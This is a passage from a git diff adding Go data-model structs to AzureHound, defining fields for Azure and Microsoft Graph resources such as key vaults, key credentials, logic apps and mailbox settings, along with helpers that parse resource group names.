must be set to true. +type ImplicitGrantSettings struct { + // Specifies whether this web application can request an ID token using the OAuth 2.0 implicit flow. + EnableIdTokenIssuance bool `json:"enableIdTokenIssuance,omitempty"` + + // Specifies whether this web application can request an access token using the OAuth 2.0 implicit flow. + EnableAccessTokenIssuance bool `json:"enableAccessTokenIssuance,omitempty"` +} diff --git a/models/azure/informational_url.go b/models/azure/informational_url.go new file mode 100644 index 0000000..d4f7ea0 --- /dev/null +++ b/models/azure/informational_url.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Basic profile information of the application. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/informationalurl?view=graph-rest-1.0 +type InformationalUrl struct { + // CDN URL to the application's logo, Read-only. + LogoUrl string `json:"logoUrl,omitempty"` + + // Link to the application's marketing page. For example, https://www.contoso.com/app/marketing + MarketingUrl string `json:"marketingUrl,omitempty"` + + // Link to the application's privacy statement. For example, https://www.contoso.com/app/privacy + PrivacyStatementUrl string `json:"privacyStatementUrl,omitempty"` + + // Link to the application's support page. For example, https://www.contoso.com/app/support + SupportUrl string `json:"supportUrl,omitempty"` + + // Link to the application's terms of service statement. For example, https://www.contoso.com/app/termsofservice + TermsOfServiceUrl string `json:"termsOfServiceUrl,omitempty"` +} diff --git a/models/azure/instance_view_status.go b/models/azure/instance_view_status.go new file mode 100644 index 0000000..8665276 --- /dev/null +++ b/models/azure/instance_view_status.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type InstanceViewStatus struct { + // The status code. + Code string `json:"code,omitempty"` + + // The short localizable label for the status. + DisplayStatus string `json:"displayStatus,omitempty"` + + // The level code. + Level enums.StatusLevel `json:"level,omitempty"` + + // The detailed status message, including for alerts and error messages. + Message string `json:"message,omitempty"` + + // The time of the status. + Time string `json:"time,omitempty"` +} diff --git a/models/azure/ip_rule.go b/models/azure/ip_rule.go new file mode 100644 index 0000000..481b5df --- /dev/null +++ b/models/azure/ip_rule.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// A rule governing the accessibility of a vault from a specific ip address or ip range. +type IPRule struct { + // An IPv4 address range in CIDR notation, such as '124.56.78.91' (simple IP address) + // or '124.56.78.0/24' (all addresses that start with 124.56.78). + Value string `json:"value,omitempty"` +} diff --git a/models/azure/ip_security_restriction.go b/models/azure/ip_security_restriction.go new file mode 100644 index 0000000..414d6d2 --- /dev/null +++ b/models/azure/ip_security_restriction.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type IpSecurityRestriction struct { + Action string `json:"action,omitempty"` + Description string `json:"description,omitempty"` + Headers interface{} `json:"headers,omitempty"` + IpAddress string `json:"ipAddress,omitempty"` + Name string `json:"name,omitempty"` + Priority int `json:"priority,omitempty"` + SubnetMask string `json:"subnetMask,omitempty"` + SubnetTrafficTag int `json:"subnetTrafficTag,omitempty"` + Tag enums.IpFilterTag `json:"tag,omitempty"` + VnetSubnetResourceId string `json:"vnetSubnetResourceId,omitempty"` + VnetTrafficTag int `json:"vnetTrafficTag,omitempty"` +} diff --git a/models/azure/key_credential.go b/models/azure/key_credential.go new file mode 100644 index 0000000..e81bdef --- /dev/null +++ b/models/azure/key_credential.go @@ -0,0 +1,56 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Contains a key credential associated with an application. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/keycredential?view=graph-rest-1.0 +type KeyCredential struct { + // Custom key identifier + // Base64Url encoded. + CustomKeyIdentifier string `json:"customKeyIdentifier,omitempty"` + + // Friendly name for the key. + // Optional. + DisplayName string `json:"displayName,omitempty"` + + // The date and time at which the credential expires. + // The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + EndDateTime string `json:"endDateTime,omitempty"` + + // The certificate's raw data in byte array converted to Base64 string; + // For example, [System.Convert]::ToBase64String($Cert.GetRawCertData()). + // Base64Url encoded. + Key []byte `json:"key,omitempty"` + + // The unique identifier (GUID) for the key. + KeyId uuid.UUID `json:"keyId,omitempty"` + + // The date and time at which the credential becomes valid.The Timestamp type represents date and time information + // using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + StartDateTime string `json:"startDateTime,omitempty"` + + // The type of key credential; for example, Symmetric. + Type string `json:"type,omitempty"` + + // A string that describes the purpose for which the key can be used; for example, Verify. + Usage string `json:"usage,omitempty"` +} diff --git a/models/azure/key_value.go b/models/azure/key_value.go new file mode 100644 index 0000000..a814ba5 --- /dev/null +++ b/models/azure/key_value.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type KeyValue struct { + Key string `json:"key,omitempty"` + Value string `json:"value,omitempty"` +} diff --git a/models/azure/key_vault.go b/models/azure/key_vault.go new file mode 100644 index 0000000..0588310 --- /dev/null +++ b/models/azure/key_vault.go @@ -0,0 +1,58 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +// Resource information with extended details. +type KeyVault struct { + Entity + + // Azure location of the key vault resource. + Location string `json:"location,omitempty"` + + // Name of the key vault resource. + Name string `json:"name,omitempty"` + + // Properties of the vault + Properties VaultProperties `json:"properties,omitempty"` + + // Tags assigned to the key vault resource. + Tags map[string]string `json:"tags,omitempty"` + + // Resource type. + Type string `json:"type,omitempty"` +} + +func (s KeyVault) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s KeyVault) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/key_vault_key_ref.go b/models/azure/key_vault_key_ref.go new file mode 100644 index 0000000..871bf9a --- /dev/null +++ b/models/azure/key_vault_key_ref.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a reference to a Key Vault Key +type KeyVaultKeyReference struct { + // The URL referencing a key encryption key in Key Vault. + KeyUrl string `json:"keyUrl,omitempty"` + + // The relative URL of the Key Vault containing the key. + SourceVault SubResource `json:"sourceVault,omitempty"` +} diff --git a/models/azure/key_vault_secret_ref.go b/models/azure/key_vault_secret_ref.go new file mode 100644 index 0000000..603487b --- /dev/null +++ b/models/azure/key_vault_secret_ref.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a reference to a Key Vault Secret. +type KeyVaultSecretReference struct { + // The URL referencing a secret in a Key Vault. + SecretUrl string `json:"secretUrl,omitempty"` + + // The relative URL of the Key Vault containing the secret. + SourceVault SubResource `json:"sourceVault,omitempty"` +} diff --git a/models/azure/keyvault_permissions.go b/models/azure/keyvault_permissions.go new file mode 100644 index 0000000..e76aba9 --- /dev/null +++ b/models/azure/keyvault_permissions.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Permissions the identity has for keys, secrets, certificates and storage. +type KeyVaultPermissions struct { + // Permissions to certificates + Certificates []string `json:"certificates,omitempty"` + + // Permissions to keys + Keys []string `json:"keys,omitempty"` + + // Permissions to secrets + Secrets []string `json:"secrets,omitempty"` + + // Permissions to storage accounts + Storage []string `json:"storage,omitempty"` +} diff --git a/models/azure/last_patch_installation_summary.go b/models/azure/last_patch_installation_summary.go new file mode 100644 index 0000000..2a2122c --- /dev/null +++ b/models/azure/last_patch_installation_summary.go @@ -0,0 +1,60 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Describes the properties of the last installed patch summary. +type LastPatchInstallationSummary struct { + // The errors that were encountered during execution of the operation. The details array contains the list of them. + Error ODataError `json:"error,omitempty"` + + // The number of all available patches but excluded explicitly by a customer-specified exclusion list match. + ExcludedPatchCount int `json:"excludedPatchCount,omitempty"` + + // The count of patches that failed installation. + FailedPatchCount int `json:"failedPatchCount,omitempty"` + + // The activity ID of the operation that produced this result. It is used to correlate across CRP and extension logs. + InstallationActivityId string `json:"installationActivityId,omitempty"` + + // The count of patches that successfully installed. + InstalledPatchCount int `json:"installedPatchCount,omitempty"` + + // The UTC timestamp when the operation began. + LastModifiedTime string `json:"lastModifiedTime,omitempty"` + + // Describes whether the operation ran out of time before it completed all its intended actions. + MaintenanceWindowExceeded bool `json:"maintenanceWindowExceeded,omitempty"` + + // The number of all available patches but not going to be installed because it didn't match a classification or + // inclusion list entry. + NotSelectedPatchCount int `json:"notSelectedPatchCount,omitempty"` + + // The number of all available patches expected to be installed over the course of the patch installation operation. + PendingPatchCount int `json:"pendingPatchCount,omitempty"` + + // The UTC timestamp when the operation began. + StartTime string `json:"startTime,omitempty"` + + // The overall success or failure status of the operation. It remains "InProgress" until the operation completes. + // At that point it will become "Unknown", "Failed", "Succeeded", or "CompletedWithWarnings." + Status enums.PatchStatus `json:"status,omitempty"` +} diff --git a/models/azure/license_assignment_state.go b/models/azure/license_assignment_state.go new file mode 100644 index 0000000..5e1850e --- /dev/null +++ b/models/azure/license_assignment_state.go @@ -0,0 +1,48 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Provides details about license assignments to a user. +type LicenseAssignmentState struct { + // The id of the group that assigns this license. If direct-assigned this field will be null. + // + // Read-only + AssignedByGroup string `json:"assignedByGroup,omitempty"` + + // The service plans that are disabled in this assignment. + // + // Read-only + DisabledPlans string `json:"disabledPlans,omitempty"` + + // License assignment failure error. + Error enums.LicenseError `json:"error,omitempty"` + + // The unique identifier for the SKU + // + // Read-only + SkuId string `json:"skuId,omitempty"` + + // Indicates the current state of this assignment. + // + // Read-only + State enums.LicenseState `json:"state,omitempty"` +} diff --git a/models/azure/linux_config.go b/models/azure/linux_config.go new file mode 100644 index 0000000..acee070 --- /dev/null +++ b/models/azure/linux_config.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the Linux operating system settings on the virtual machine. +// For a list of supported Linux distributions, see Linux on Azure-Endorsed Distributions. +type LinuxConfiguration struct { + // Specifies whether password authentication should be disabled. + DisablePasswordAuthentication bool `json:"disablePasswordAuthentication,omitempty"` + + // [Preview Feature] Specifies settings related to VM Guest Patching on Linux. + PatchSettings LinuxPatchSettings `json:"patchSettings,omitempty"` + + // Indicates whether virtual machine agent should be provisioned on the virtual machine. + // When this property is not specified in the request body, default behavior is to set it to true. This will ensure + // that VM Agent is installed on the VM so that extensions can be added to the VM later. + ProvisionVMAgent bool `json:"provisionVMAgent,omitempty"` + + // Specifies the ssh key configuration for a Linux OS. + Ssh SshConfiguration `json:"ssh,omitempty"` +} diff --git a/models/azure/linux_patch_settings.go b/models/azure/linux_patch_settings.go new file mode 100644 index 0000000..8b64672 --- /dev/null +++ b/models/azure/linux_patch_settings.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies settings related to VM Guest Patching on Linux. +type LinuxPatchSettings struct { + // Specifies the mode of VM Guest Patch Assessment for the IaaS virtual machine. + // Possible values are: + // ImageDefault - You control the timing of patch assessments on a virtual machine. + // AutomaticByPlatform - The platform will trigger periodic patch assessments. The property provisionVMAgent must be true. + AssessmentMode string `json:"assessmentMode,omitempty"` + + // Specifies the mode of VM Guest Patching to IaaS virtual machine or virtual machines associated to virtual machine scale set with OrchestrationMode as Flexible. + // Possible values are: + // ImageDefault - The virtual machine's default patching configuration is used. + // AutomaticByPlatform - The virtual machine will be automatically updated by the platform. The property provisionVMAgent must be true + PatchMode string `json:"patchMode,omitempty"` +} diff --git a/models/azure/locale_info.go b/models/azure/locale_info.go new file mode 100644 index 0000000..859e680 --- /dev/null +++ b/models/azure/locale_info.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type LocaleInfo struct { + // A locale code for the user, which includes the user's perferred language and country/region as defined + // in ISO 639-1 and ISO 3166-1 alpha-2. E.g. "en-us" + Locale string `json:"locale,omitempty"` + + // A name representing the user's locale in natural language. E.g. "English (United States)" + DisplayName string `json:"displayName,omitempty"` +} diff --git a/models/azure/logic_app.go b/models/azure/logic_app.go new file mode 100644 index 0000000..67d8527 --- /dev/null +++ b/models/azure/logic_app.go @@ -0,0 +1,49 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type LogicApp struct { + Entity + + Identity ManagedIdentity `json:"identity,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Properties LogicAppProperties `json:"properties,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` +} + +func (s LogicApp) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s LogicApp) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/logic_app_definition.go b/models/azure/logic_app_definition.go new file mode 100644 index 0000000..2cff0bb --- /dev/null +++ b/models/azure/logic_app_definition.go @@ -0,0 +1,90 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type Definition struct { + Schema string `json:"$schema,omitempty"` + // Certain actions can be nested, have different elements based on the name(key) of given action - Condition is an example + // Actions map[string]Action `json:"actions,omitempty"` + Actions map[string]interface{} `json:"actions,omitempty"` + ContentVersion string `json:"contentVersion,omitempty"` + Outputs map[string]Output `json:"outputs,omitempty"` + Parameters map[string]Parameter `json:"parameters,omitempty"` + StaticResults map[string]StaticResult `json:"staticResults,omitempty"` + Triggers map[string]Trigger `json:"triggers,omitempty"` +} + +type Action struct { + Type string `json:"type"` + // Kind is missing in the MSDN, but returned and present in examples and during testing + Kind string `json:"kind,omitempty"` + Inputs map[string]interface{} `json:"inputs,omitempty"` + RunAfter interface{} `json:"runAfter,omitempty"` + RuntimeConfiguration interface{} `json:"runtimeConfiguration,omitempty"` + OperationOptions string `json:"operationOptions,omitempty"` +} + +type Output struct { + Type string `json:"type,omitempty"` + // Type of this is based on above Type + Value interface{} `json:"value,omitempty"` +} + +type Parameter struct { + Type string `json:"type,omitempty"` + DefaultValue interface{} `json:"defaultValue,omitempty"` + AllowedValues []interface{} `json:"allowedValues,omitempty"` + Metadata Metadata `json:"metadata,omitempty"` +} + +type Metadata struct { + Description interface{} `json:"description,omitempty"` +} + +type StaticResult struct { + Outputs ResultOutput `json:"outputs,omitempty"` + Status string `json:"status,omitempty"` +} + +type ResultOutput struct { + Headers map[string]string `json:"headers,omitempty"` + StatusCode string `json:"statusCode,omitempty"` +} + +type Trigger struct { + Type string `json:"type,omitempty"` + // Kind is missing in the MSDN, but returned and present in examples and during testing + Kind string `json:"kind,omitempty"` + // Inputs is a custom element based on the type of trigger + Inputs interface{} `json:"inputs,omitempty"` + Recurrence Recurrence `json:"recurrence,omitempty"` + Conditions []Condition `json:"conditions,omitempty"` + // Runtime configuration is a custom element based on the type of trigger + RuntimeConfiguration interface{} `json:"runtimeConfiguration,omitempty"` + SplitOn string `json:"splitOn,omitempty"` + OperationOptions string `json:"operationOptions,omitempty"` +} + +type Recurrence struct { + Frequency string `json:"frequency,omitempty"` + Interval int `json:"interval,omitempty"` +} + +type Condition struct { + Expression string `json:"expression,omitempty"` +} diff --git a/models/azure/logic_app_parameter.go b/models/azure/logic_app_parameter.go new file mode 100644 index 0000000..8cfc424 --- /dev/null +++ b/models/azure/logic_app_parameter.go @@ -0,0 +1,55 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +type LogicAppParameter struct { + Description string `json:"description,omitempty"` + //Metadata - marked as object in MSDN, however no other description available - in testing was not able to return a value here + Metadata interface{} `json:"metadata,omitempty"` + Type enums.ParameterType `json:"type,omitempty"` + Value interface{} `json:"value,omitempty"` +} + +func (s LogicAppParameter) GetValue() interface{} { + switch s.Type { + case enums.ArrayType: + return s.Value.([]interface{}) + case enums.BoolType: + return s.Value.(bool) + case enums.FloatType: + return s.Value.(float64) + case enums.IntType: + return s.Value.(int) + case enums.NotSpecifiedType: + return s.Value + case enums.ObjectType: + return s.Value + case enums.SecureObjectType: + return s.Value + case enums.SecureStringType: + return s.Value + case enums.StringType: + return s.Value.(string) + default: + return s.Value + } +} diff --git a/models/azure/logic_app_properties.go b/models/azure/logic_app_properties.go new file mode 100644 index 0000000..af0dfec --- /dev/null +++ b/models/azure/logic_app_properties.go @@ -0,0 +1,51 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type LogicAppProperties struct { + AccessEndpoint string `json:"accessEndpoint,omitempty"` + ChangedTime string `json:"changedTime,omitempty"` + CreatedTime string `json:"createdTime,omitempty"` + Definition Definition `json:"definition,omitempty"` + IntegrationAccount ResourceReference `json:"integrationAccount,omitempty"` + // Note: in testing this does not get populated, instead the parameters are listed within the definition + Parameters map[string]LogicAppParameter `json:"parameters,omitempty"` + ProvisioningState enums.LogicAppProvisioningState `json:"provisioningState,omitempty"` + Sku LogicAppSku `json:"sku,omitempty"` + State enums.LogicAppState `json:"state,omitempty"` + Version string `json:"version,omitempty"` + + // This does not appear in the documentation, however, it gets populated in the response + EndpointConfiguration EndpointConfiguration `json:"endpointsConfiguration,omitempty"` +} + +type EndpointConfiguration struct { + LogicApp LogicAppEndpointConfiguration `json:"logicapp,omitempty"` + Connector LogicAppEndpointConfiguration `json:"connector,omitempty"` +} + +type LogicAppEndpointConfiguration struct { + OutgoingIpAddresses []AddressEndpointConfiguration `json:"outgoingIpAddresses,omitempty"` + AccessEndpointIpAddresses []AddressEndpointConfiguration `json:"accessEndpointIpAddresses,omitempty"` +} + +type AddressEndpointConfiguration struct { + Address string `json:"address,omitempty"` +} diff --git a/models/azure/logic_app_sku.go b/models/azure/logic_app_sku.go new file mode 100644 index 0000000..d492197 --- /dev/null +++ b/models/azure/logic_app_sku.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type LogicAppSku struct { + Name enums.SkuName `json:"name,omitempty"` + Plan ResourceReference `json:"plan,omitempty"` +} diff --git a/models/azure/mailbox_settings.go b/models/azure/mailbox_settings.go new file mode 100644 index 0000000..e395786 --- /dev/null +++ b/models/azure/mailbox_settings.go @@ -0,0 +1,48 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type MailboxSettings struct { + // Folder ID of an archive folder for the user. + ArchiveFolder string `json:"archiveFolder,omitempty"` + + // Configuration settings to automatically notify the sender of an incoming email with a message from the signed-in + // user. + AutomaticRepliesSetting AutomaticRepliesSetting `json:"automaticRepliesSetting,omitempty"` + + // The date format for the user's mailbox. + DateFormat string `json:"dateFormat,omitempty"` + + // If the user has a calendar delegate, this specifies whether the delegate, mailbox owner, or both receive meeting + // messages and meeting responses. + DelegateMeetingMessageDeliveryOptions enums.MessageDeliveryOptions `json:"delegateMeetingMessageDeliveryOptions,omitempty"` + + // The locale information for the user, including the preferred language and country/region. + Language LocaleInfo `json:"language,omitempty"` + + // The time format for the user's mailbox. + TimeFormat string `json:"timeFormat,omitempty"` + + // The default time zone for the user's mailbox. + TimeZone string `json:"timeZone,omitempty"` + + // The days of the week and hours in a specific time zone that the user works. + WorkingHours WorkingHours `json:"workingHours,omitempty"` +} diff --git a/models/azure/maintenance_redeploy_status.go b/models/azure/maintenance_redeploy_status.go new file mode 100644 index 0000000..2932bf4 --- /dev/null +++ b/models/azure/maintenance_redeploy_status.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your 